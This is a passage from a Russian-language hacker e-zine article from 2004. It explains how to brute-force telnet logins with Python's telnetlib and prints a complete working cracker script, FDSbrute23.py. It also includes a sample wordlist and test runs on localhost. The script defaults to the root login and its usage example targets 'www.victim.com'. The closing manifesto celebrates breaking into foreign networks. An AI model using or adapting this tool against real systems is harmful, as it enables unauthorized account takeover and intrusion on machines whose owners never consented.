Менее же известные брутеры работают в принципе по схожим алгоритмам. Это ли-
бо реализация параллельного исполнения кода, то есть использование процессов,
либо немного иной подход, полностью основанный на потоках управления. Именно
данные обстоятельства бросают толпы начинающих и неопытных програмеров на изу-
чение замков, мутексов, семафоров, етс..
Я же пошёл немного другим путём.
Итак.. А что, если мы просто возьмём да и синициализируем соединение в цикле
по всем строкам нашего вордлиста? То есть, воспользуемся к примеру модулем
telnetlib. С помощью конструктора telnetlib.Telnet(host, port) создадим
объект (tn). Host - это наша цель, port - по умолчанию 23 - й, пускай им и
останется.
Воспользуемся методом read_until(expected, [, timeout]), который будет читать
до строки expected или до таймаута (в тестовой версии, для реализации самого
алгоритма, он нам не понадобится). То есть, вначале дождёмся строки "login: ",
а затем "Password: ". В цикле же будем передовать как пароль, каждую строку
нашего вордлиста. Затем пустим в сокет тестовую команду - она может быть любой
(нам понадобится лишь её длина).
В нашем случае я выбрал `id'. Проверим валидность введённых данных, насильно
прервём соединение.
Где же тут изюминка?
Её оставил напоследок.
Если наш логин и пароль окажутся правильными, соотвественно команда
id сработает - возвратит наш идентификатор (хочу сказать сразу, что в тестовом
коде я не ставил никаких задержек и засыпаний - всё это можно отредактировать
при конкретном случае). Чтобы проверить, сработала ли наша команда, другими
словами - появился ли в очереди обрабатываемых данных хотя бы один байт готовых
данных, нам необходимо воспользоваться методами обработки этой очереди данных.
В реализации python, клиент telnet ведёт две очереди: обработанную и сырую.
Отсюда несколько методов: читать лениво (read_lazy()), читать очень лениво
(read_very_lazy()), читать охотно (read_eager()) и читать очень охотно
(read_very_eager()). Не совсем заостряясь на особенностях данных методов, а
скорее экспериментируя с ними, пришёл к выводу, что пользоваться ими не стоит
совсем, так как хоть они и обрабатывают данные/готовые данные из очередей, но
всё-таки работают местами некорректно. А причина кроется в так называемом IAC.
Что за зверь, спросите вы.
Заглянув в документацию python, читаем: "IAC (Interpret as Command, интерпрети-
ровать как команду) - управляюший символ с кодом 255, после которого следует
команда". Задефайен для telnet протокола в /usr/include/arpa/telnet.h, в самой
первой строчке всех дефинишинзов:
/*
* Definitions for the TELNET protocol.
*/
#define IAC 255 /* interpret as command: */ (заметьте, двоето-
чие стоит не зря).
Ну и, разумеется, в /usr/lib/python2.2/telnetlib.py, также в первой строчке
символов telnet протокола:
# Telnet protocol characters (don't change)
IAC = chr(255) # "Interpret As Command"
DONT = chr(254)
DO = chr(253)
WONT = chr(252)
WILL = chr(251)
theNULL = chr(0)
Так вот, перечисленные выше методы чтения данных из очередей обрабатывают вызо-
вы без блокировок, если приём не застревает на середине IAC - последовательнос-
ти.
То есть, если как я уже и сказал, id сработает, в сокет соотвественно будут от-
правляться готовые данные. read_some() будет блокироваться до получения хотя бы
одного готового байта данных. Именно read_some() я и использовал в своём тесто-
вом коде.
В конце концов (бех громких определений) всё сводится к тому, что мы сравниваем
наши обработанные данные, как длину строки, возвращаемую read_some(), с нашей
вначале введённой командой. Если длина будет совпадать с длиной `id', значит
команда на самом деле не выполнилась и соотвественно никаких результатов нет и
не будет - не ждём с помощью read_until(expect, [, timeout]) никаких ни
"login: ", ни "Password: ", разрываем соединение.
И выводим на экран строку из файла, то есть наш пароль, если длина возвращаемой
строки read_some() будет больше 2-х. Также выходим и разрываем соединение.
Эта и есть моя идея альтернативного брутфорсинга, которая на практике может с
резким свистом пролететь, как фанера над Парижем. А объясняется это тем, что
все пробуемые методы я целиком и полностью рассматривал лишь на своей локаль-
ной, тестовой машине. Вот некоторые результаты (запущен сервис telnet, для
пользователя best_mowi задан пароль "zx070@@"):
best_mowi@localhost craq$ ls
FDSbrute23.py* timeoutsocket.py* woo.py* wordlist
best_mowi@localhost craq$ cat wordlist
qwe%^r
ewqfg
asddfgvc
rtnbnby
dxcfg
excrt
dxcfg
dffgg
erfdgdft
tyudfg
ghjfdg
tyufgf
ghjpass
passqwe
passsdaf
passfhjg
passwer
pass2134
pass@##$
passwer
pass45
passfsd
pass56v
pass6gh
pass56
passdfs
passnbm
passgre
passfdsyh
passjhr
passfg
passgh
passgf
zx070@@
passdf
best_mowi@localhost craq$ python FDSbrute23.py --help
Usage: ./FDSbrute23.py [options]
Valid options:
-v --version print version and exit
-h --help print usage and exit
-a --address=<IP address> choose target machine []
-l --login=<login> user login [root]
-w --wordlist=<wordlist> wordlist file with passwords []
Usage example: ./FDSbrute23.py -a www.victim.com -l so1o -w passwords.txt
best_mowi@localhost craq$ python FDSbrute23.py -a 127.0.0.1 -l best_mowi -w wordlist
Host: 127.0.0.1 Login: best_mowi Password: zx070@@
best_mowi@localhost craq$ python FDSbrute23.py -a 127.0.0.1 -l best_mowi -w wordlist
Host: 127.0.0.1 Login: best_mowi Password: not found!
best_mowi@localhost craq$ python FDSbrute23.py -a 127.0.0.1 -l best_mowi -w wordlist
Host: 127.0.0.1 Login: best_mowi Password: not found!
best_mowi@localhost craq$ python FDSbrute23.py -a 127.0.0.1 -l best_mowi -w wordlist
Host: 127.0.0.1 Login: best_mowi Password: not found!
best_mowi@localhost craq$ python FDSbrute23.py -a 127.0.0.1 -l best_mowi -w wordlist
Host: 127.0.0.1 Login: best_mowi Password: not found!
best_mowi@localhost craq$ python FDSbrute23.py -a 127.0.0.1 -l best_mowi -w wordlist
Host: 127.0.0.1 Login: best_mowi Password: not found!
best_mowi@localhost craq$ python FDSbrute23.py -a 127.0.0.1 -l best_mowi -w wordlist
Host: 127.0.0.1 Login: best_mowi Password: zx070@@
best_mowi@localhost craq$ python FDSbrute23.py -a 127.0.0.1 -l best_mowi -w wordlist
Host: 127.0.0.1 Login: best_mowi Password: zx070@@
best_mowi@localhost craq$
Моменты, которые вас удивили в этом логе и есть проблеммы с очередями данных
и блокировкой. "Ленивые" и "охотливые" методы обработки давали ещё более
худший результат, вот и пришлось остановиться на read_some().
Поэтому для брута, нужно использовать программу пару - тройку раз, для стра-
ховки так сказать. А это и не страшно, так как на локальной, тестовой машине
весь брут с указанным выше ворд - листом занял около 5 - 6 секунд =)
Читатель, которого заинтересовала данная статья, может углубиться в исследо-
вание данного вопроса и построить свой собственный, более совершенный алго-
ритм.
[ start :: FDSbrute23.py :: start ]
#!/usr/bin/env python
#
# $Id: FDSbrute23.py $ $Date: 09/06/2004
# Telnet service FDS brutforce cracker (test code).
#
# by b3$t_m0w1 phrom THE "FDS", contact: <[email protected]>
#
# happy cracking, friends ..
"""TELNET SERVICE FDS BRUTFORCE CRACKER (TEST CODE)"""
__program__ = "FDSbrute23.py"
__version__ = "0.0.1"
__copyright__ = "copyright (c) 2004 b3$t_m0w1"
__author__ = "b3$t_m0w1 <[email protected]>"
__license__ = "GPL (GNU GENERAL PUBLIC LICENSE)"
try:
import getopt
except Exception:
print "getopt module import error!"
try:
import telnetlib
except Exception:
print "telnetlib module import error!"
try:
import os
except Exception:
print "os module import error!"
try:
import errno
except Exception:
print "errno module import error!"
try:
import sys
except Exception:
print "sys module import error!"
DEFAULT_LOGIN = "root"
def brut(host, login, wlist):
password_list = []
ident_counter = 0
try:
file = open(wlist, "r")
except IOError:
print os.strerror(errno.EIO)+": cannot open wordlist file!"
sys.exit(-1)
for password in file.readlines():
l = len(password)
if password[l-1] == "\n":
password_list.append(password[0:(l-1)])
else:
password_list.append(password)
for loop in xrange(0, len(password_list)):
tn = telnetlib.Telnet(host)
tn.read_until("login: ")
q = tn.write(login + "\n")
tn.read_until("Password: ")
tn.write(password_list[loop] + "\n")
tn.write("id\n")
if (len(tn.read_some()) > 2):
print "Host: %s Login: %s Password: %s" % (host, login, password_list[loop])
ident_counter += 1
sys.exit(0)
tn.close()
if ((ident_counter) == 0):
print "Host: %s Login: %s Password: not found!" % (host, login)
sys.exit(0)
def usage():
def show(prompt):
print >> sys.stderr, prompt
show("Usage: ./%s [options]" % (__program__))
show("Valid options:")
show(" -v --version print version and exit")
show(" -h --help print usage and exit")
show(" -a --address=<IP address> choose target machine []")
show(" -l --login=<login> user login [root]")
show(" -w --wordlist=<wordlist> wordlist file with passwords []")
show("Usage example: ./%s -a www.victim.com -l so1o -w passwords.txt" % (__program__))
sys.exit(0)
def main():
try:
_wlist = ""
_host = ""
_login = DEFAULT_LOGIN
(optlist, args) = getopt.getopt(sys.argv[1:], "va:l:w:h",\
["version", "help", "address=", "login=", "wordlist="])
for option, argument in optlist:
if ((option) in ("-v", "--version")):
print >> sys.stderr, "%s version %s" % (__program__, __version__)
print >> sys.stderr, "%s" % (__copyright__)
return
elif ((option) in ("-h", "--help")):
usage()
return
elif ((option) in ("-a", "--address")):
_host = argument
elif ((option) in ("-l", "--login")):
_login = argument
elif ((option) in ("-w", "--wordlist")):
_wlist = argument
except getopt.GetoptError:
print os.strerror(errno.EINVAL)
sys.exit(-1)
except KeyboardInterrupt:
print os.strerror(os.EINTR)
sys.exit(-1)
brut(_host, _login, _wlist)
sys.exit(0)
if (__name__=="__main__"): main()
[ end :: FDSbrute23.py :: end ]
,-----------------------------------------------------------------------,
: Close words :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
МНЕ ГОВОРИЛИ, ЧТО Я ЛИШНИЙ!
МЕНЯ ЛОМАЛИ ИЗ-ЗА ПРАВДЫ!
МЕНЯ ХОТЕЛИ ПЕРЕДЕЛАТЬ, НО Я СТОЯЛ НА СВОЁМ!
ПИНКИ В ЗУБЫ ВСЕМ ТЕМ, КТО ЭТОГО ЗАСЛУЖИВАЕТ!
И МОЙ РЕСПЕКТ ВСЕМ ТЕМ, КТО НЕ БРОСАЕТ ОТЕЧЕСТВЕННУЮ SCENE, КОГДА ОНА НУЖ-
ДАЕТСЯ В ПОМОЩИ! РЕСПЕКТ ТЕМ, КТО ПРОНИКАЕТ В БУРЖУЙСКИЕ СЕТИ И ГОВОРИТ:
" Я И З Б Ы В Ш Е Г О С С С Р !
Ч Ё Р Н А Я Ш Л Я П А И З К Р А С Н О Й С Т Р А Н Ы !
М О Й А Р Е А Л, М О Я С Ц Е Н А С А М Ы Е С И Л Ь Н Ы Е В
М И Р Е ! "
" И Т А К М Ы П Р И Ш Л И И П О Б Е Д И Л И И Н А Ш Л И
Б О Г А Т С Т В А П А Л А Т Ы О Б Щ И Н И К О Р О Л Е Й "
-- from `River Runs Red', on Blue Sky Mining by Midnight Oil
(c) 2003-2004 THE FDS